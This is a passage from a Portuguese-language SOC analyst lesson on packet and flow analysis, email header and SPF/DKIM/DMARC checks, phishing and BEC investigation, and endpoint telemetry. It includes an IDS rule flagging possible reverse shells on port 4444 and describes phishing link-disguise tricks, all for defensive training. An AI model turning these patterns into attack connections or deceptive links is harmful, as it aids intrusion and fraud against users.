Análise de atividades de rede, e-mail e endpoints

Aprenda a decidir se uma atividade em uma rede ou em um computador é maliciosa, como faz um analista de um centro de operações de segurança (SOC). Você lê capturas de pacotes e registros de fluxo de rede, rastreia e-mails suspeitos pelos cabeçalhos e resultados de SPF, DKIM e DMARC, acompanha árvores de processos e mecanismos de persistência em endpoints com EDR e verifica arquivos, hashes, domínios e endereços IP com serviços de reputação, análise estática e ambientes isolados de análise. Por fim, você reúne as evidências em uma linha do tempo, chega a uma conclusão com um nível de confiança declarado e a documenta para que os responsáveis pela resposta a incidentes possam agir.

IntermediárioAula 3 de 7 do curso Curso de Operações de segurança e resposta a incidentes

O que você vai aprender

  1. Capture o tráfego adequado, leia pacotes e conversações de rede, resuma a atividade com registros de fluxo de rede e registros de conexões e reconheça padrões de rede que indicam varredura, tráfego de comando e controle, tunelamento e roubo de dados.
    • Capture e filtre o tráfego de rede
      Escolha onde e como capturar pacotes, escreva filtros de captura e de exibição e trate os arquivos de captura de modo que permaneçam completos e confiáveis.
    • Leia pacotes e reconstrua conversações de rede
      Leia as camadas de um pacote, acompanhe conversações TCP e UDP, recupere o que foi transferido e avalie o tráfego criptografado pelos metadados.
    • Analise dados de fluxo e registros de conexões
      Use registros de fluxo de rede e registros de conexões do Zeek para ver quem se comunicou com quem, por quanto tempo e quanto foi transferido, e para encontrar volumes e destinos incomuns.
    • Reconheça indicadores de rede e leia alertas de IDS
      Reconheça varreduras, dispositivos não autorizados, portas inesperadas, comunicação recorrente de comando e controle, abuso de DNS e movimentação lateral, e verifique alertas de detecção de intrusão em vez de confiar neles cegamente.
  2. Leia cabeçalhos de e-mail e resultados de autenticação, reconheça phishing e comprometimento de e-mail corporativo, analise links e anexos sem se expor e encontre todos os destinatários afetados por uma campanha.
    • Leia cabeçalhos de e-mail e resultados de autenticação
      Rastreie uma mensagem pelos cabeçalhos e interprete os resultados de SPF, DKIM e DMARC, incluindo o que eles comprovam e o que não comprovam.
    • Reconheça phishing e comprometimento de e-mail corporativo
      Reconheça os truques de remetente, link, conteúdo e anexo usados em phishing e a fraude de pagamento por comprometimento de e-mail corporativo que não contém malware.
    • Analise links e anexos com segurança e determine o escopo da campanha
      Trate mensagens suspeitas sem exposição, decodifique e verifique os links e arquivos, extraia indicadores e encontre todas as pessoas alcançadas pela campanha.
  3. Use ferramentas de detecção e resposta em endpoints e registros de eventos dos endpoints para ler árvores de processos e linhas de comando, encontrar as formas pelas quais atacantes mantêm acesso e reconhecer alterações em arquivos, softwares e configurações que revelam um host comprometido.
    • Use EDR e telemetria de endpoints
      Explique o que fazem EDR, XDR e MDM, conheça os eventos relevantes dos endpoints e use alertas, pivoteamentos investigativos e ações de resposta do EDR em uma investigação.
    • Analise processos e linhas de comando
      Avalie processos por nome, caminho, processo pai, signatário e linha de comando, reconheça binários legítimos do sistema usados em ataques e PowerShell codificado e decodifique o que um comando suspeito realmente faz.
    • Encontre mecanismos de persistência
      Encontre os locais de inicialização automática usados por atacantes no Windows, Linux e macOS, interprete as evidências deixadas por cada um e verifique-os de forma metódica em relação a um estado comprovadamente seguro.
    • Identifique alterações em arquivos, softwares e configurações de um host
      Reconheça os indicadores de host além dos processos: arquivos suspeitos, software não autorizado, configurações enfraquecidas, uso anormal de recursos e dados preparados para roubo.
  4. Verifique a reputação de arquivos, domínios e endereços IP, examine um arquivo com segurança sem executá-lo e use um ambiente isolado de análise para observar o que ele faz, conhecendo os limites de cada método.
    • Verifique a reputação de arquivos, hashes, domínios e endereços IP
      Use hashes e serviços de reputação corretamente, leia os resultados de forma crítica e proteja dados confidenciais durante o processo.
    • Realize uma análise estática básica
      Examine um arquivo suspeito sem executá-lo: identifique o tipo real, extraia strings, leia a estrutura básica de um programa Windows, reconheça o empacotamento, decodifique conteúdo ofuscado e compare-o com regras YARA.
    • Execute e interprete análises em ambiente isolado
      Detone uma amostra com segurança, leia o relatório comportamental, reconheça a evasão e transforme os resultados em indicadores que você possa verificar no próprio ambiente.
  5. Combine evidências de rede, e-mail e endpoints em uma linha do tempo, decida se a atividade é maliciosa com um nível de confiança declarado e documente e encaminhe os achados para que outras pessoas possam agir com base neles.
    • Correlacione evidências em uma linha do tempo
      Normalize horários, faça pivoteamentos investigativos entre fontes por campos compartilhados e construa uma linha do tempo que explique como um ataque se desenrolou e onde ainda faltam evidências.
    • Chegue a uma conclusão e documente os achados
      Classifique um alerta ou evento com um nível de confiança justificado, registre os achados e indicadores para que outras pessoas possam reproduzi-los e encaminhe incidentes confirmados com as evidências preservadas.

Guia de estudo de Análise de rede, e-mail e endpoints

5 capítulos

1

Analise o tráfego de rede em capturas de pacotes e dados de fluxo

Pacotes mostram trocas individuais; registros de fluxo de rede revelam padrões ao longo de um período maior. Você escolherá um ponto de captura, filtrará o tráfego, reconstruirá conversações e medirá conexões incomuns. Varreduras, comunicações recorrentes e padrões de DNS tornam-se pistas úteis quando você os relaciona às funções dos hosts e à atividade esperada. A mesma análise também permite verificar a que uma regra de detecção de intrusão realmente correspondeu.

1.1 Capture e filtre o tráfego de rede

Uma captura de pacotes salva os cabeçalhos e a carga útil que chegam a um sensor em um arquivo .pcap ou .pcapng. Ela pode mostrar o conteúdo de trocas não criptografadas, além de endereços, portas e horários. Colete e armazene a captura conforme a política de monitoramento da organização: ela pode conter senhas e dados pessoais.

Escolha um ponto de captura útil

Um TAP copia passivamente o tráfego de um enlace. Uma porta SPAN faz um switch espelhar portas ou VLANs selecionadas. A porta SPAN pode descartar cópias quando a saída está sobrecarregada; um TAP que agrega tráfego também pode perder pacotes se os dois sentidos juntos ultrapassarem a capacidade da porta de monitoramento. Uma captura no host vê o tráfego desse host. Um sensor na borda da rede com a internet não vê o tráfego que permanece dentro da rede. Fora do NAT, ele vê um endereço público compartilhado, por isso mantenha os registros de NAT para identificar o host interno.

Salve de forma ampla, inspecione de forma restrita

Um filtro de captura determina o que é salvo. Um filtro de exibição altera a visualização dos pacotes já salvos. As sintaxes são diferentes:

FinalidadeFiltro para o tráfego TCP da porta 443 de um host
Captura, sintaxe BPFhost 192.168.1.50 and tcp port 443
Exibição no Wiresharkip.addr == 192.168.1.50 && tcp.port == 443

No BPF, port 443 também inclui UDP, inclusive QUIC. Um filtro de captura restrito pode descartar permanentemente outro canal de um atacante. Um filtro de exibição pode ser removido sempre que a investigação mudar de direção.

Para uma captura direcionada, use:

sudo tcpdump -i eth0 -nn -s 0 -w case42.pcap host 192.168.1.50 and not port 22

-i seleciona a interface; -nn mantém endereços e portas em formato numérico e evita consultas de nomes; -s 0 mantém os pacotes completos; -w grava os pacotes brutos. O filtro exclui a porta 22, como a de uma sessão SSH do analista. Leia o tráfego DNS salvo com tcpdump -nn -r case42.pcap port 53.

No Wireshark, dns mostra DNS; http.request mostra requisições HTTP. Use tcp.flags.syn == 1 && tcp.flags.ack == 0 para tentativas iniciais de conexão TCP, tls.handshake.type == 1 para mensagens Client Hello do TLS e ip.dst == 10.0.0.0/8 para destinos nesse intervalo. frame contains "password" encontra esse texto nos bytes capturados. Combine condições com &&, || e !.

Planeje a retenção e preserve as evidências

Com 40% de uso, um enlace de 100 Mbit/s transporta 40 Mbit/s. Dividindo por oito, obtemos 5 MB/s; em 3.600 segundos, são 18.000 MB, ou 18 GB. Buffers circulares sobrescrevem a captura mais antiga, enquanto capturas direcionadas reduzem a necessidade de armazenamento. Exporte as evidências relevantes antes que um buffer as sobrescreva.

O TLS deixa visíveis endereços, tamanhos, horários e metadados disponíveis do estabelecimento de conexão, mas oculta o conteúdo da aplicação, a menos que chaves de sessão ou um ponto de inspeção o disponibilizem. A visibilidade de DNS e do nome do servidor também depende dos protocolos em uso. Calcule o hash SHA-256 da captura original, registre a interface e o intervalo da captura e analise uma cópia. Verifique a sincronização do relógio e as estatísticas de perda de pacotes; o contador “dropped by kernel” do tcpdump revela o tráfego que o sistema de captura perdeu.

Principais conclusões

  • O ponto de captura determina qual tráfego fica visível e quais identidades de hosts exigem registros de NAT.
  • Filtros de captura descartam pacotes excluídos; filtros de exibição apenas ocultam pacotes salvos.
  • O BPF e os filtros de exibição do Wireshark usam sintaxes diferentes.
  • Considere os dois sentidos do enlace, o volume de armazenamento e a perda de pacotes.
  • Preserve a captura original, o hash SHA-256 e os horários precisos da captura.

1.2 Leia pacotes e reconstrua conversações de rede

Leia um pacote das informações externas de entrega em direção aos dados de aplicação. Em Ethernet, o Wireshark mostra os endereços MAC, depois os endereços IP e o TTL, em seguida as portas TCP ou UDP e, por fim, DNS, HTTP, TLS ou outro protocolo de aplicação. O painel de detalhes abre essas camadas; o painel de bytes mostra os valores hexadecimais brutos.

Acompanhe a troca

O TCP começa com SYN, SYN-ACK e ACK. Em 10.0.0.23:51544 → 203.0.113.80:443 SYN, a porta alta de origem pertence ao cliente. A resposta inverte os endereços e as portas. FIN solicita um encerramento normal; RST encerra a conexão abruptamente. Um reset em resposta a um SYN geralmente indica uma porta fechada. A ausência de resposta pode refletir filtragem, perda ou falta de visibilidade, por isso inspecione tanto os pacotes quanto a posição de captura.

O UDP não tem estabelecimento de conexão na camada de transporte. O DNS costuma usar UDP 53 e também usa TCP 53, inclusive para respostas grandes e transferências de zona. Leia o tipo de registro da consulta: A solicita IPv4, AAAA solicita IPv6, MX solicita servidores de e-mail, TXT solicita texto e CNAME solicita um nome alternativo. NXDOMAIN significa que o nome solicitado não existe.

Uma resposta DNS seguida de uma conexão ao IP retornado sugere uma relação. Confirme o nome solicitado com um cabeçalho Host do HTTP, uma SNI visível do TLS, registros de proxy ou dados do endpoint: vários domínios podem compartilhar esse endereço.

Reconstrua a atividade de aplicação

O Follow TCP Stream do Wireshark reúne uma conversação em ordem e separa os dois sentidos por cor. Statistics → Conversations classifica pares que se comunicam por pacotes e bytes; Protocol Hierarchy mostra a composição dos protocolos.

Suponha que um fluxo contenha:

GET /update.php?id=WS-0423 HTTP/1.1
Host: cdn-update.example.net
User-Agent: Mozilla/4.0

A resposta é 200 OK, declara application/octet-stream e começa com MZ. Esses bytes sugerem um executável do Windows. O caminho .php pode retornar qualquer conteúdo; ele não precisa ser o nome do arquivo baixado. Verifique o tipo, o hash e a assinatura do objeto exportado e, depois, relacione a requisição ao processo e ao histórico do destino.

Requisições GET buscam conteúdo; requisições POST enviam um corpo. Leia o Host, o caminho, o User-Agent, o status da resposta e os tamanhos dos corpos em conjunto. Corpos POST grandes e repetidos para um novo destino justificam investigação. O status 301 ou 302 redireciona o cliente, enquanto 404 informa que um recurso não foi encontrado.

File → Export Objects → HTTP, ou o equivalente para SMB, pode recuperar objetos transferidos quando o conteúdo não criptografado necessário está presente. Mantenha as amostras recuperadas no ambiente isolado de análise e registre os hashes.

Leia o tráfego criptografado com precisão

Um Client Hello normalmente expõe a SNI, o nome do servidor solicitado, a menos que o Client Hello criptografado a proteja. O TLS 1.2 expõe o certificado do servidor durante o estabelecimento da conexão; o TLS 1.3 o criptografa. As impressões digitais JA3 e JA4 resumem características do Client Hello e podem ajudar a agrupar clientes semelhantes. Um certificado novo, a ausência de SNI ou uma impressão digital compartilhada é uma pista a ser verificada em relação ao contexto do processo e do destino.

A porta 443 sugere HTTPS, mas não determina o protocolo. Inspecione a troca real ou use Decode As quando um dissecador precisar de ajuda para reconhecer um protocolo em uma porta incomum.

Principais conclusões

  • Identifique o iniciador pelo estabelecimento da conexão e acompanhe a inversão do sentido na resposta.
  • Relacione respostas DNS a nomes de aplicação antes de atribuir uma conexão a um domínio.
  • Reconstrua fluxos e exporte objetos para inspecionar o que foi transferido.
  • A visibilidade do TLS muda conforme a versão do TLS e o uso do Client Hello criptografado.
  • Confirme os protocolos pela troca de dados, não apenas pelo número da porta.

1.3 Analise dados de fluxo e registros de conexões

Registros de fluxo de rede resumem o tráfego sem manter a carga útil. Eles tornam prática a pesquisa de semanas de atividade antes de obter uma captura curta de pacotes. A 5-tupla usual é IP de origem, IP de destino, porta de origem, porta de destino e protocolo de transporte. Os registros também contêm horários, contagens e muitas vezes flags TCP.

Entenda como a fonte faz as contagens

O NetFlow v5 tem um formato fixo para IPv4; o NetFlow v9 usa modelos e oferece suporte a IPv6. O IPFIX é o padrão da IETF derivado dessa abordagem baseada em modelos. Registros de fluxo na nuvem fornecem resumos de rede relacionados. O sFlow amostra pacotes e acrescenta contadores de interface, por isso as observações precisam ser extrapoladas com cuidado.

Com uma amostragem de 1 em 1.000, 1.200 pacotes amostrados representam aproximadamente 1,2 milhão de pacotes. A estimativa descreve o volume; uma conexão breve pode não deixar nenhum pacote amostrado. Uma amostra vazia é uma evidência fraca para decidir se uma conexão específica ocorreu.

Exportadores muitas vezes registram cada sentido separadamente e dividem conexões longas quando tempos limites de atividade expiram. Associe registros inversos trocando tanto os endereços quanto as portas, preservando o protocolo. Depois, reúna os fragmentos pertencentes à mesma conexão. Some os bytes separadamente por sentido e meça o tempo decorrido do início mais antigo ao término mais recente. Somar durações de registros sobrepostos infla o tempo.

Leia registros de conexões do Zeek

O Zeek produz registros estruturados de conexões e protocolos. Em conn.log, ts é o horário de início e uid vincula a conexão a registros como http.log ou ssl.log. Os campos id.orig_h e id.orig_p identificam o iniciador; id.resp_h e id.resp_p identificam o respondente. O iniciador começou a conversação e pode ser um host externo. proto, service, duration, orig_bytes e resp_bytes descrevem o transporte, a aplicação reconhecida e a atividade da conexão.

Estado TCPInterpretação
S0Uma tentativa foi observada sem resposta.
REJO alvo rejeitou a tentativa.
SFUma conexão foi estabelecida e encerrada normalmente.
OTHO tráfego foi observado sem um SYN, muitas vezes porque a observação começou no meio do fluxo.

Em tentativas sem resposta, zero bytes de carga útil no Zeek podem acompanhar pacotes reais. Exportadores de fluxo também costumam contar cabeçalhos IP, por isso as contagens de bytes diferem. Leia as contagens de pacotes e o estado junto com os campos de bytes documentados.

Meça um envio incomum

Das 02:10 às 02:50 UTC, 10.0.0.23 envia 2,4 GB para 198.51.100.7:443 e recebe 12 MB. Converta 2,4 GB em 2.400 MB: o volume de saída é 200 vezes o de entrada. Quarenta minutos são 2.400 segundos, por isso a taxa média de saída é 1 MB/s, ou 8 Mbit/s.

A taxa não é a conclusão. Compare o volume habitual, o histórico de destinos e a função do host. Uma cópia de segurança agendada pode explicar um envio noturno; um destino novo e um processo de envio não aprovado reforçam uma hipótese de roubo de dados. Faça um pivoteamento para o EDR em busca do processo responsável, para dados de DNS ou proxy em busca do nome e para os pacotes em busca do conteúdo, se estiverem disponíveis. Uma linha de base deve comparar funções semelhantes: um servidor de cópia de segurança e a estação de trabalho de um recepcionista têm tráfegos normais diferentes.

Principais conclusões

  • Dados de fluxo descrevem endereços, horários e volume, sem a carga útil da aplicação.
  • Contagens amostradas são estimativas e podem deixar passar eventos curtos.
  • Associe os sentidos, reúna fragmentos causados por tempos limites e use o intervalo total decorrido.
  • Use o uid do Zeek para vincular registros de protocolos e conn_state para interpretar tentativas.
  • Interprete contadores de bytes conforme a fonte que os produziu.
  • Compare tráfego incomum com a função do host, a linha de base e o processo responsável.

1.4 Reconheça indicadores de rede e leia alertas de IDS

Padrões de rede indicam onde investigar. Um scanner aprovado e um invasor podem gerar pacotes muito semelhantes.

Reconheça o formato do tráfego

Uma varredura vertical testa muitas portas em um host. Uma varredura horizontal testa a mesma porta em muitos hosts. Se 10.0.0.99 envia SYNs para 1.000 portas em 10.0.0.5 em 12 segundos, a taxa é de cerca de 83 tentativas por segundo. Muitos registros S0 ou REJ e algumas conexões bem-sucedidas são compatíveis com varredura. Verifique o inventário de scanners e a programação autorizada.

Um dispositivo não autorizado está conectado sem autorização. Compare novas concessões DHCP e endereços MAC com o inventário de ativos; um prefixo de fabricante desconhecido, um ponto de acesso não autorizado ou um segundo servidor DHCP exigem investigação. O NAC ajuda a controlar quais dispositivos podem se conectar.

Avalie os serviços conforme a função do host. SSH costuma usar 22, SMTP 25, DNS 53, HTTP 80, HTTPS 443, SMB 445, RDP 3389 e WinRM 5985/5986. SMTP de saída direto de uma estação de trabalho pode indicar um bot de spam. SMB ou RDP de uma estação para muitas outras pode indicar movimentação lateral. Verifique qual serviço está realmente presente.

Separe temporizadores da atividade de usuários

Conexões às 10:00:00, 10:05:02, 10:09:59, 10:15:01 e 10:20:00 têm intervalos de 302, 297, 302 e 299 segundos. A média é de 300 segundos e a variação é de cerca de dois segundos. Pequenas trocas semelhantes nesses intervalos sugerem um temporizador. A comunicação recorrente de comando e controle é o contato repetido com o C2; agentes de atualização também usam temporizadores. Encontre o processo iniciador e a finalidade do destino. Malwares podem acrescentar variação dos intervalos de comunicação, como ±20%, por isso um padrão menos regular ainda merece atenção.

Investigue o abuso de DNS

O tunelamento DNS coloca dados em nomes de consultas, muitas vezes com rótulos longos codificados e muitos subdomínios únicos. Um rótulo pode conter no máximo 63 caracteres; um nome completo comum em formato de texto tem limite de 253 caracteres. Consultas TXT ou NULL repetidas e alto volume reforçam o padrão. Muitos nomes aparentemente aleatórios que retornam NXDOMAIN sugerem um DGA tentando nomes até que um seja resolvido. O DNS sobre HTTPS externo também pode fazer com que a atividade não apareça nos registros DNS normais da organização.

Leia e verifique uma regra
alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"Possible reverse shell to port 4444"; flow:to_server,established; sid:1000001; rev:1;)

O cabeçalho especifica um alerta para TCP da rede interna até a porta externa 4444. A condição flow exige tráfego estabelecido em direção ao servidor; sid identifica a regra e rev, a revisão. A mensagem menciona um possível shell reverso, mas essa regra verifica um padrão de conexão, não comandos de shell.

Snort e Suricata comparam o tráfego com regras; o Zeek fornece principalmente registros de eventos e scripts de comportamento. Verifique um alerta de IDS com os pacotes associados, a plataforma do alvo e alterações no endpoint após a troca. O modo de detecção observa cópias; um IPS no caminho do tráfego pode bloqueá-lo, de modo que uma correspondência equivocada pode causar interrupções operacionais.

Principais conclusões

  • Verifique a autorização antes de tratar um padrão de varredura como incidente.
  • Use o inventário de dispositivos e as funções dos hosts para identificar atividade de rede inesperada.
  • Intervalos regulares sugerem automação; o contexto do processo e do destino permite identificar C2.
  • Investigue em conjunto rótulos DNS longos, nomes únicos, volume de consultas e padrões NXDOMAIN.
  • Leia as condições da regra antes de aceitar a mensagem do alerta como um achado.
  • Confirme uma suspeita de exploração com evidências do alvo e do endpoint.
2

Investigue e-mails suspeitos

Uma investigação de e-mail começa com a mensagem original e termina com as pessoas e os dispositivos afetados. Você rastreará cabeçalhos confiáveis, distinguirá as identidades de remetente verificadas por SPF, DKIM e DMARC e examinará a ação que uma mensagem pede a alguém que execute. A análise de links e anexos fornece então os campos de pesquisa para encontrar o restante da campanha, inclusive fraudes de pagamento que não contêm arquivo malicioso.

2.1 Leia cabeçalhos de e-mail e resultados de autenticação

O endereço que um leitor vê e a identidade verificada durante a entrega do e-mail são campos diferentes. Comece pelo .eml ou .msg original para manter os cabeçalhos que uma cópia encaminhada pode substituir. Um analisador de cabeçalhos pode organizar as evidências, mas você ainda precisa saber qual servidor registrou cada resultado.

Encontre as identidades e os saltos confiáveis

O remetente do envelope SMTP é usado para mensagens de devolução e aparece em Return-Path. O cabeçalho From é o remetente visível. Reply-To determina para onde vão as respostas, e Message-ID ajuda a localizar registros de e-mail relacionados. Um serviço de envio de mensagens pode legitimamente usar um domínio de envelope diferente do domínio visível do cliente.

Cada servidor intermediário acrescenta uma linha Received no topo. Leia a sequência do percurso de baixo para cima, mas estabeleça a confiança a partir das entradas do gateway da sua organização: um remetente pode falsificar linhas abaixo da primeira entrada confiável. Um campo opcional X-Mailer também é controlado pelo remetente. Use o IP de envio registrado pelo servidor de recebimento confiável da sua organização.

Aplique as três verificações
VerificaçãoIdentidade e resultado
SPFCompara o IP do servidor que se conecta com os remetentes autorizados pelo domínio do envelope.
DKIMVerifica a assinatura de um domínio sobre cabeçalhos selecionados e o hash do corpo.
DMARCExige uma identidade SPF ou DKIM aprovada e alinhada ao domínio From visível.

Um registro SPF TXT como v=spf1 ip4:192.0.2.0/24 include:_spf.example.net -all autoriza esse intervalo e os remetentes incluídos. -all atribui fail aos demais remetentes; ~all atribui softfail. Os resultados também podem ser neutral, none, temperror ou permerror. O encaminhamento muitas vezes faz o SPF falhar porque o IP de quem encaminha não é autorizado pelo domínio original do envelope.

O d= do DKIM informa o domínio signatário e s= seleciona a chave desse domínio em <selector>._domainkey.<domain>. Uma assinatura aprovada significa que o material assinado permaneceu inalterado. O encaminhamento pode preservá-la, enquanto a reescrita da mensagem pode invalidá-la.

O alinhamento flexível do DMARC aceita o mesmo domínio organizacional; o alinhamento estrito exige uma correspondência exata de domínio. A política TXT em _dmarc.<domain> pode solicitar none, quarantine ou reject; o destinatário decide o tratamento. A RFC 9989 substituiu o padrão DMARC anterior em maio de 2026, removeu pct e introduziu o modo de teste t=y. Verifique uma política com nslookup -type=txt _dmarc.example.com.

Analise um resultado de autenticação

O gateway da sua organização informa SPF pass para mailer.example-billing.net, DKIM pass para example-billing.net e From examp1e.com. Nenhum dos domínios aprovados está alinhado com o domínio visível, por isso o DMARC falha. SPF e DKIM autenticaram identidades diferentes; eles não autenticaram esse endereço visível.

Leia apenas o Authentication-Results adicionado por um gateway confiável. Um domínio semelhante pertencente a um atacante e configurado corretamente pode passar nas três verificações, assim como uma caixa postal legítima comprometida. Combine a autenticação com o histórico do remetente, o conteúdo da mensagem e a análise de links. Por outro lado, investigue se o encaminhamento ou alterações de uma lista de distribuição explicam uma falha antes de classificá-la como falsificação.

Principais conclusões

  • Diferencie as identidades do remetente do envelope, do From visível e do Reply-To.
  • Confie nas linhas de cabeçalho e nos resultados de autenticação registrados pelos sistemas de recebimento da sua organização.
  • O SPF verifica um IP de envio; o DKIM verifica conteúdo assinado; o DMARC verifica o alinhamento.
  • O DMARC precisa de um método aprovado e alinhado, não de duas aprovações para domínios sem relação entre si.
  • A autenticação pode ser aprovada para domínios pertencentes a atacantes ou caixas postais comprometidas.

2.2 Reconheça phishing e comprometimento de e-mail corporativo

O phishing tenta transformar uma mensagem em uma ação prejudicial: entregar credenciais, enviar dinheiro ou executar um arquivo. O indício mais forte muitas vezes é um desvio do processo normal do destinatário. Um atacante consegue facilmente fornecer uma escrita fluente e um nome familiar.

Leia o remetente e o destino com atenção

A falsificação do nome de exibição coloca um nome confiável acima de um endereço sem relação com ele, como "IT Service Desk" <it.desk.2291@freemail.example>. O registro abusivo de domínios com erros de digitação ou grafia semelhante altera a grafia de um domínio; domínios semelhantes acrescentam palavras que inspiram confiança. Homoglifos substituem caracteres por outros semelhantes de outros alfabetos. Uma primeira letra cirílica torna аpple.com um domínio diferente; a forma punycode é xn--pple-43d.com.

O rótulo visível de um link pode ser diferente do destino real. Encurtadores e redirecionamentos abertos ocultam destinos posteriores. Em https://www.example.com@198.51.100.7/login, o host é 198.51.100.7; a parte antes de @ é informação de usuário. Em https://example.com.login-verify.net/, o domínio registrado é login-verify.net. Ler as palavras que inspiram confiança na extremidade esquerda leva a identificar incorretamente quem controla o destino.

Reconheça a ação solicitada

Urgência, alegação de autoridade executiva, ameaças de encerramento de conta, cartões-presente e alterações de dados bancários levam o destinatário a abandonar as verificações estabelecidas. O phishing direcionado usa pesquisas sobre um alvo específico; o whaling tem executivos como alvo. Formas relacionadas de envio incluem smishing por mensagem de texto, vishing por voz e quishing por códigos QR. Um código QR pode levar um link para um celular fora da filtragem de links de e-mail.

Anexos podem conter documentos com macros, páginas HTML de login ou HTML smuggling, arquivos compactados protegidos por senha, imagens de disco, atalhos LNK ou PDFs com links. Versões modernas do Office bloqueiam macros por padrão em arquivos marcados como provenientes da internet, por isso as mensagens podem orientar usuários a remover o bloqueio. Uma senha de arquivo compactado dificulta a inspeção, embora alguns gateways consigam extrair a senha da mensagem e verificar o conteúdo.

Investigue fraudes de pagamento sem malware

O comprometimento de e-mail corporativo, ou BEC, se passa por um colega, executivo ou fornecedor para obter dinheiro, alterações de dados de pagamento ou informações sensíveis. Ele pode usar um endereço semelhante ou uma caixa postal real comprometida. Muitas vezes não contém link nem anexo, deixando pouco para os scanners inspecionarem. Um Reply-To alterado ou uma nova regra que oculta respostas é uma evidência de apoio útil.

Em uma conversa existente sobre uma fatura, um fornecedor conhecido solicita que um pagamento de 48.000 euros seja enviado para uma nova conta bancária. A autenticação passa. A caixa postal foi comprometida, e o atacante usou o sequestro de conversa de e-mail para se aproveitar da confiança naquela conversa. Verifique a solicitação por um número de telefone já mantido no cadastro do fornecedor antes de alterar os dados de pagamento. Um número fornecido na mensagem faz parte da solicitação não verificada.

Um endereço interno também pode ser comprometido; inclua destinatários internos e respostas na investigação da conta.

Principais conclusões

  • Inspecione o endereço real do remetente e o host da URL, além dos nomes visíveis e do texto do link.
  • Pressão para ignorar verificações normais de pagamento ou de conta é um sinal de phishing.
  • O BEC pode usar uma caixa postal real e não conter links nem anexos.
  • Verifique alterações nas instruções de pagamento por meio de um contato obtido independentemente.

Uma investigação de phishing tem duas tarefas: entender a mensagem e encontrar todas as pessoas que ela alcançou. Uma cópia denunciada é um ponto de partida. A ação tomada por um destinatário determina quais evidências de conta ou de host você precisará examinar em seguida.

Preserve e inspecione a mensagem

Exporte a mensagem original com todos os cabeçalhos e copie as URLs como texto para inspeção em um ambiente isolado de análise. Registre indicadores em forma neutralizada, como hxxps://login-verify[.]net/acct, para evitar cliques acidentais em chamados. Preserve o original intacto junto à cópia de trabalho.

Gateways de e-mail podem envolver uma URL em um parâmetro de outra URL. A codificação percentual representa caracteres com um sinal de porcentagem e dois dígitos hexadecimais: %3A é dois-pontos e %2F é uma barra. Decodifique uma camada por vez e inspecione o resultado antes de interpretar outra camada.

Por exemplo, a decodificação de URL de:

https%3A%2F%2Flogin-verify.net%2Facct%3Fu%3DamFuZUBleGFtcGxlLm9yZw%3D%3D

produz https://login-verify.net/acct?u=amFuZUBleGFtcGxlLm9yZw==. A decodificação Base64 do valor de u produz jane@example.org. O parâmetro identifica o destinatário pretendido e pode personalizar a página falsa. As operações URL Decode, From Base64 e Defang URL do CyberChef tornam essas transformações separadas visíveis.

Antes de enviar uma URL a um serviço público, remova valores que identifiquem a vítima; um resultado público ou uma requisição personalizada pode expor a investigação ao atacante. Faça a pré-visualização de links encurtados por meio de um serviço de análise aprovado. A visibilidade e o comportamento de envio do serviço também importam, assim como a própria URL.

Inspecione arquivos e extraia campos de pesquisa

Calcule o SHA-256 de um anexo e consulte a reputação antes de enviá-lo. Verifique o tipo pelos bytes iniciais. Para um arquivo do Office, olevba pode listar macros e sinalizar gatilhos automáticos como AutoOpen ou Document_Open e chamadas como Shell. Use um ambiente isolado privado para conteúdo interno confidencial.

Colete o endereço e o nome de exibição do remetente, o IP na entrada Received confiável, o assunto, o Message-ID, os hosts e caminhos das URLs e os nomes e hashes dos anexos. Mantenha os valores exatos nas evidências; use cópias neutralizadas nas anotações. Um nome de arquivo pode mudar entre mensagens, enquanto um hash idêntico ainda vincula conteúdos de arquivo idênticos.

Determine o escopo de destinatários e interações

Pesquise registros do gateway e das caixas postais usando vários desses campos. Liste os destinatários e, depois, diferencie entrega de interação usando registros DNS e de proxy, entradas após acessos aos links e eventos de EDR relativos à abertura e execução de anexos.

Uma pesquisa pode encontrar 40 mensagens entregues, seis pessoas que acessaram o link e duas contas com entradas bem-sucedidas de origem desconhecida minutos depois. Preserve os registros, remova as mensagens da campanha e bloqueie a URL ou o domínio malicioso por meio do processo de resposta. As senhas das duas contas afetadas precisam ser redefinidas e as sessões ativas revogadas. Uma lista de destinatários, por si só, não mostraria a diferença entre exposição e provável comprometimento.

Encerrar o chamado porque o usuário que denunciou excluiu a mensagem deixa os outros destinatários sem análise. Registre quem a recebeu, quem interagiu, o que aconteceu depois e quais evidências ainda faltam.

Principais conclusões

  • Preserve a mensagem original e trabalhe com cópias de indicadores neutralizadas para exibição segura.
  • Decodifique as camadas da URL separadamente e reconheça parâmetros que identificam destinatários.
  • Proteja anexos confidenciais e URLs personalizadas contra envio a serviços públicos.
  • Determine o escopo da campanha com campos de mensagens, hashes e URLs.
  • Diferencie entrega, interação e comprometimento posterior.
3

Investigue atividades em endpoints com EDR

Registros de endpoints mostram qual programa causou uma alteração em arquivo, conexão ou configuração. Você acompanhará a linhagem de processos, inspecionará argumentos de comando e encontrará os gatilhos que permitem o retorno de um atacante. Windows, Linux e macOS deixam artefatos diferentes, mas a investigação faz as mesmas perguntas práticas: o que mudou, quem causou a mudança, se ela foi autorizada e quais outros hosts mostram a mesma atividade.

3.1 Use EDR e telemetria de endpoints

A telemetria de endpoints conecta evidências de rede e de arquivos ao programa que as causou. O EDR registra atividades de endpoints, detecta comportamentos suspeitos e oferece investigação e resposta remotas. O histórico pode revelar atividades que o estado atual de um arquivo já não mostra.

Escolha a fonte adequada

O antivírus tradicional se concentra em bloquear arquivos reconhecidos como maliciosos. O EDR acrescenta o histórico de processos, arquivos, registro, conexões e logons. O XDR reúne evidências de endpoints e fontes de rede, e-mail, identidade e nuvem. O MDM gerencia celulares e tablets: os registros de inventário e conformidade podem revelar aplicativos não aprovados, root ou jailbreak, e o MDM oferece ações como bloquear ou apagar dispositivos.

Eventos de Segurança do Windows fornecem pontos de referência úteis:

EventoAtividade
4688Um processo foi criado; a inclusão da linha de comando exige uma política separada.
4624Um logon foi bem-sucedido.
4698Uma tarefa agendada foi criada, quando a auditoria necessária está habilitada.
4697Um serviço foi instalado.
4720Uma conta de usuário foi criada.

O evento 7045 de Sistema também registra a instalação de um serviço. O Windows armazena eventos em arquivos .evtx que podem ser exportados para pesquisa estruturada. No Linux, use auditd, registros de autenticação e o diário do sistema.

Use a identidade de processo do Sysmon

O Sysmon está disponível como recurso opcional integrado ao Windows 11 e ao Windows Server 2025 e para download no Sysinternals para outros sistemas. O evento 1 registra a criação de processo com a linha de comando completa, o processo pai, hashes e um Process GUID. Esse GUID mantém processos distintos separados mesmo quando o sistema operacional reutiliza um PID.

